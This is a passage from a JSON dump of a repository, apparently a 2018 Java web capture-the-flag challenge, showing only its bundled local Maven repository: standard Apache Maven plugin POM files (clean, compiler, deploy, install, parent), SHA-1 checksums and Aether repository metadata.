<connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-clean-plugin-2.5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-clean-plugin-2.5</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-clean-plugin-2.5</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MCLEAN</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n\n    <!-- Test -->\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <configuration>\n                <debug>true</debug>\n                <addTestClassPath>true</addTestClassPath>\n                <projectsDirectory>src/it</projectsDirectory>\n                <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n                <pomIncludes>\n                  <pomInclude>*/pom.xml</pomInclude>\n                </pomIncludes>\n                <preBuildHookScript>setup</preBuildHookScript>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n                <settingsFile>src/it/settings.xml</settingsFile>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom.sha1",
    "content": "8571a1cd21bed4fe28656c3303526fa7d1e582ad"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:34 CST 2018\nmaven-compiler-plugin-3.3.jar>central=\nmaven-compiler-plugin-3.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.jar.sha1",
    "content": "2ba1a928967843fceea2976d8bc6aa8accdf2145"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.plugins</groupId>\n    <artifactId>maven-plugins</artifactId>\n    <version>27</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-compiler-plugin</artifactId>\n  <version>3.3</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Apache Maven Compiler Plugin</name>\n  <description>The Compiler Plugin is used to compile the sources of your project.</description>\n  <inceptionYear>2001</inceptionYear>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-compiler-plugin-3.3</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-compiler-plugin-3.3</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-compiler-plugin-3.3</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MCOMPILER</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <mavenVersion>2.2.1</mavenVersion>\n    <!--\n      ! The following property is used in the integration tests MCOMPILER-157\n    -->\n    <mavenPluginPluginVersion>3.3</mavenPluginPluginVersion>\n    <plexusCompilerVersion>2.5</plexusCompilerVersion>\n    <groovyVersion>1.8.0</groovyVersion>\n    <groovyEclipseCompilerVersion>2.7.0-01</groovyEclipseCompilerVersion>\n    <groovy-eclipse-batch>2.0.4-04</groovy-eclipse-batch>\n    <openJpaVersion>2.2.0</openJpaVersion>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Jan Sievers</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <scope>provided</scope>\n    </dependency>\n    <!-- Maven -->\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.apache.maven.reporting</groupId>\n          <artifactId>maven-reporting-api</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-file</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-http-lightweight</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-ssh</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.maven.wagon</groupId>\n          <artifactId>wagon-ssh-external</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>commons-cli</groupId>\n          <artifactId>commons-cli</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>classworlds</groupId>\n          <artifactId>classworlds</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-interactivity-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-toolchain</artifactId>\n      <version>2.2.1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-shared-utils</artifactId>\n      <version>0.7</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-shared-incremental</artifactId>\n      <version>1.1</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-api</artifactId>\n      <version>${plexusCompilerVersion}</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-manager</artifactId>\n      <version>${plexusCompilerVersion}</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-javac</artifactId>\n      <version>${plexusCompilerVersion}</version>\n      <scope>runtime</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.5.5</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>2.0-alpha-1</version>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.mockito</groupId>\n      <artifactId>mockito-core</artifactId>\n      <version>1.9.5</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.8.1</version>\n      <scope>test</scope>\n    </dependency>\n\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <configuration>\n            <excludes combine.children=\"append\">\n              <exclude>src/it/jdk16-annotation/src/main/resources/META-INF/services/javax.annotation.processing.Processor</exclude>\n              <exclude>.java-version</exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <executions>\n            <execution>\n              <id>enforce-bytecode-version</id>\n              <configuration>\n              <rules>\n                <enforceBytecodeVersion>\n                  <maxJdkVersion>1.5</maxJdkVersion>\n                  <excludes>\n                    <exclude>org.apache.openjpa:openjpa</exclude>\n                    <exclude>org.codehaus.groovy:groovy-eclipse-batch</exclude>\n                  </excludes>\n                </enforceBytecodeVersion>\n              </rules>\n              </configuration>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <executions>\n                <execution>\n                  <id>integration-test</id>\n              <configuration>\n                <debug>true</debug>\n                <projectsDirectory>src/it</projectsDirectory>\n                <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n                <pomIncludes>\n                  <pomInclude>*/pom.xml</pomInclude>\n                  <pomInclude>extras/*/pom.xml</pomInclude>\n                </pomIncludes>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n                <settingsFile>src/it/settings.xml</settingsFile>\n                <goals>\n                  <goal>clean</goal>\n                  <goal>test-compile</goal>\n                </goals>\n              </configuration>\n                </execution>\n              </executions>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n      <!--\n      add those dependency just to have faster it test (for folks who doesn't have those locally\n      they will be downloaded from local repo rather than central\n      -->\n      <dependencies>\n        <dependency>\n          <groupId>org.codehaus.groovy</groupId>\n          <artifactId>groovy-eclipse-compiler</artifactId>\n          <version>${groovyEclipseCompilerVersion}</version>\n          <scope>test</scope>\n        </dependency>\n        <dependency>\n          <groupId>org.codehaus.groovy</groupId>\n          <artifactId>groovy-eclipse-batch</artifactId>\n          <version>${groovy-eclipse-batch}</version>\n          <scope>test</scope>\n        </dependency>\n        <dependency>\n          <groupId>org.codehaus.groovy</groupId>\n          <artifactId>groovy-all</artifactId>\n          <version>${groovyVersion}</version>\n          <scope>test</scope>\n        </dependency>\n        <dependency>\n          <groupId>org.apache.openjpa</groupId>\n          <artifactId>openjpa</artifactId>\n          <version>${openJpaVersion}</version>\n          <!-- TODO: scope test? -->\n        </dependency>\n      </dependencies>\n    </profile>\n  </profiles>\n\n  <repositories>\n    <repository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>https://oss.sonatype.org/content/repositories/plexus-snapshots</url>\n    </repository>\n  </repositories>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.pom.sha1",
    "content": "b9b64b464ffb471772100841d18d45f21e07a66f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:42 CST 2018\nmaven-deploy-plugin-2.7.jar>central=\nmaven-deploy-plugin-2.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.jar.sha1",
    "content": "6dadfb75679ca010b41286794f737088ebfe12fd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-plugins</artifactId>\n    <groupId>org.apache.maven.plugins</groupId>\n    <version>22</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-deploy-plugin</artifactId>\n  <version>2.7</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven Deploy Plugin</name>\n  <description>Uploads the project artifacts to the internal remote repository.</description>\n  <inceptionYear>2004</inceptionYear>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-deploy-plugin-2.7</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-deploy-plugin-2.7</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-deploy-plugin-2.7</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MDEPLOY</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.5.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <version>1.5</version>\n            <configuration>\n              <debug>true</debug>\n              <projectsDirectory>src/it</projectsDirectory>\n              <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              <pomIncludes>\n                <pomInclude>*/pom.xml</pomInclude>\n                <pomInclude>*/non-default-pom.xml</pomInclude>\n              </pomIncludes>\n              <preBuildHookScript>setup</preBuildHookScript>\n              <postBuildHookScript>verify</postBuildHookScript>\n              <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n              <settingsFile>src/it/settings.xml</settingsFile>\n              <goals>\n                <goal>deploy</goal>\n              </goals>\n            </configuration>\n            <executions>\n              <execution>\n                <id>integration-test</id>\n                <goals>\n                  <goal>install</goal>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.3</version>\n            <configuration>\n              <!-- For JIRA-report -->\n              <columnNames>Type,Key,Summary,Assignee,Status,Resolution,Fix Version</columnNames>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <resolutionIds>Closed</resolutionIds>\n              <sortColumnNames>Type,Key</sortColumnNames>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.pom.sha1",
    "content": "df67cefd776bb81db9273bc7b9921a47b81428f3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:22 CST 2018\nmaven-install-plugin-2.4.jar>central=\nmaven-install-plugin-2.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.jar.sha1",
    "content": "9d1316166fe4c313f56276935e08df11f45267c2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-plugins</artifactId>\n    <groupId>org.apache.maven.plugins</groupId>\n    <version>23</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-install-plugin</artifactId>\n  <version>2.4</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven Install Plugin</name>\n  <description>Copies the project artifacts to the user's local repository.</description>\n  <inceptionYear>2004</inceptionYear>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-install-plugin-2.4</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-install-plugin-2.4</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-install-plugin-2.4</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MINSTALL</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n    <mavenPluginPluginVersion>3.1</mavenPluginPluginVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n\n    <!-- dependencies to annotations -->\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <version>${mavenPluginPluginVersion}</version>\n      <scope>provided</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-digest</artifactId>\n      <version>1.0</version>\n    </dependency>\n  </dependencies>\n\n  <contributors>\n    <contributor>\n      <name>Ludwig Magnusson</name>\n    </contributor>\n  </contributors>\n\n  <build>\n\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginPluginVersion}</version>\n          <configuration>\n            <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n          </configuration>\n          <executions>\n            <execution>\n              <id>mojo-descriptor</id>\n              <phase>process-classes</phase>\n              <goals>\n                <goal>descriptor</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>help-goal</id>\n              <goals>\n                <goal>helpmojo</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>${mavenPluginPluginVersion}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <version>1.7</version>\n              <configuration>\n                <debug>true</debug>\n                <projectsDirectory>src/it</projectsDirectory>\n                <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n                <pomIncludes>\n                  <pomInclude>*/pom.xml</pomInclude>\n                  <pomInclude>*/non-default-pom.xml</pomInclude>\n                </pomIncludes>\n                <preBuildHookScript>setup</preBuildHookScript>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n                <settingsFile>src/it/settings.xml</settingsFile>\n                <addTestClassPath>true</addTestClassPath>\n                <goals>\n                  <goal>clean</goal>\n                  <goal>install</goal>\n                </goals>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.pom.sha1",
    "content": "a94328f3fcee1cebefa3d1224caa0050682da487"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:20 CST 2018\nmaven-plugins-22.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/maven-plugins-22.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>21</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugins</groupId>\n  <artifactId>maven-plugins</artifactId>\n  <version>22</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Plugins</name>\n  <description>Maven Plugins</description>\n  <url>http://maven.apache.org/plugins/</url>\n\n  <mailingLists>\n    <!-- duplication from components - temporary until the site layout is clearer -->\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven 